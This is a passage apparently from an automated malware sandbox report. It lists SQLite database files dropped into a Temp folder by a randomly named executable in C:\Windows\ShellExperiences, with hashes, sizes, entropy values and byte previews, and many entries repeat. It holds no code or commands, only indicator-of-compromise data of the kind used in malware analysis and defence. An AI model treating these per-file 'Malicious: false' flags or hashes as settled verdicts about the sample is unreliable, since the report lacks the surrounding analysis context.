SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PDkQN02tR6

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PR7UphZRTm

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Pcs2x3PZXc

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PhJhRciSqW

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PhseK1OkV9

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PktrJHSzNV

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Po1EvQWx7C

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PxKGTcVe6G

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q1HfFL7qvc

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QBjUBhcElg

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QJQPuJWZZO

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qc0GTfGUr2

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QcMH5cdSEe

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qj8Ia0mw1c

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RJVrWFMWzC

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RT0sKQcZcs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RcPt38OQrM

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Re0iVfuufi

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SZthGkQ0Kj

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SatacVVFs1

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SvUXwcFpKs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TD1XRNGgs4

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TISaQyY5P8

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TOu0d6tfhE

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TgUnaCWISO

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TqsiyZ3I5l

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
